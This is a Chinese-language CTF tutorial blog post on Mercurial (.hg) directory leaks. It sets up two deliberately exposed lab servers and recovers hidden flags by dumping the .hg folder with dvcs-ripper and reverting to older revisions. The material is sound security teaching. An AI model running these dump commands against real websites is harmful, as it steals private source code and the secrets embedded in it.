iT邦幫忙

2021 iThome 鐵人賽

DAY 4
0

Q1. HG 是什麼?

  • Mercurial 是一種輕量級分散式版本控制系統,由於 Mercuial 的元素符號為 Hg,Mercurial 的操作工具以 hg 命名,所有操作皆以 hg <action> 的指令型式來完成,因此 Mercurial 也時常被直接簡稱 hg。

維基百科參考資料:https://zh.wikipedia.org/wiki/Mercurial

Q2. 為什麼會有 HG 洩漏?

在利用 hg init 建立 repository 時,會在專案目錄中生成 .hg 資料夾,資料夾中紀錄著專案的版本資料,若不慎將 .hg 目錄公開,駭客便可以 dump 其中的內容,將專案原始碼重建,因而稱為 HG 洩漏。

Q3. HG 的還原工具?

Q4. HG 儲存資料的位置

  • 專案中有被 tracking 的檔案,其版本紀錄會被保存在 .hg/store/data 中,而 .hg/store/fncache 會儲存 tracking 中的檔案目錄
    https://ithelp.ithome.com.tw/upload/images/20210918/20140592eS6jOWK9EN.png
  • index.php.i 的內容
    https://ithelp.ithome.com.tw/upload/images/20210918/20140592EjZbOV9RkO.png

Q5. HG 洩漏類型

  • 一般 hg 洩漏: flag 在當前版本的原始碼中 (如 Lab 1)
    • 下載 dvcs-ripper
    • ./rip-hg.pl -v -u <網址/.hg/>
    • ls -al
      • 查看目錄下的全部資料
    • cat <找到的 flag 檔案>
      • 看 flag 檔案
  • HG 回溯:flag 在過去版本的原始碼中 (如 Lab 2)
    • 下載 dvcs-ripper
    • ./rip-hg.pl -v -u <網址/.hg/>
    • hg log
      • 顯示 log 紀錄
    • hg update -r <changeset 的版本>
      • 回到某一版的節點
    • ls -al
    • cat <找到的檔案>

Lab 1 (flag 在當前版本的原始碼中)

  • 題目建置

    • 安裝 Mercurial
    # Install Mercurial (HG)
    sudo apt install mercurial
    
    • 設置 Username 與 E-mail Address:需要設置後才能 commit。
    # Edit username
    hg config --edit
    

    https://ithelp.ithome.com.tw/upload/images/20210918/201405923ReyRwH8jd.png

    • 建立 Repo:此處直接在網頁伺服器建立專案
    # Create Repository
    REPO="/var/www/html/hg_1"
    sudo mkdir "$REPO" && sudo chown -R "$(whoami)" "$REPO" && cd "$REPO"
    hg init
    

    https://ithelp.ithome.com.tw/upload/images/20210918/20140592S3aCAyv7m7.png

    • 新增網頁:在原始碼中包含 flag,但前端看不見。
    # Add Flag
    tee index.php <<EOF
      <?php \$flag = 'FLAG{OAO+O3O-O_o}'; ?>
      You cannot see me!
    EOF
    hg add index.php
    hg commit -m "Add Flag"
    

    https://ithelp.ithome.com.tw/upload/images/20210918/20140592FFNaDWaEdB.png

    https://ithelp.ithome.com.tw/upload/images/20210918/20140592qgUwoHBhg0.png

  • 解題

    • 在網頁伺服器發現 .hg 目錄的存在。
      https://ithelp.ithome.com.tw/upload/images/20210918/20140592dJ1MGWLpy5.png

    • 下載 dvcs-ripper

    # Install Tool Dependencies
    sudo apt-get install mercurial perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
    
    # Download Tool
    git clone https://github.com/kost/dvcs-ripper.git
    
    • Dump .hg ,得到原始碼
    # Dump
    mkdir dump && cd dump
    ../dvcs-ripper/rip-hg.pl -v -u http://172.16.28.2/hg_1/.hg
    
    # Show flag
    cat index.php
    

    https://ithelp.ithome.com.tw/upload/images/20210918/201405921gB6ph9m9n.png

Lab 2 (flag 在過去版本的原始碼中)

  • 題目建置

    • 建立專案,新增 flag(同 Lab 1)
    # Create Repository
    REPO="/var/www/html/hg_2"
    sudo mkdir "$REPO" && sudo chown -R "$(whoami)" "$REPO" && cd "$REPO"
    hg init
    
    # Add Flag
    tee index.php <<EOF
      <?php \$flag = 'FLAG{OAO+O3O-O_o}'; ?>
      You cannot see me!
    EOF
    hg add index.php
    hg commit -m "Add Flag"
    
    • 將 flag 刪除,建立新版本
    # Delete Flag
    echo 'No flag anymore' > index.php
    hg commit -m "Remove Flag"
    

    https://ithelp.ithome.com.tw/upload/images/20210918/20140592ODVwkAgoPH.png

  • 解題

    • Dump .hg
    # Dump
    mkdir dump && cd dump
    ../dvcs-ripper/rip-hg.pl -v -u http://172.16.28.2/hg_2/.hg
    
    • 回溯版本,找到 flag
    # Show Log
    hg log
    
    # Revert old version
    hg update -r 0
    
    # Show flag
    cat index.php
    

    https://ithelp.ithome.com.tw/upload/images/20210918/201405922ixL55Wk24.png


上一篇
【第三天 - SVN 洩漏】
下一篇
【第五天 - Gedit 備份洩漏】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言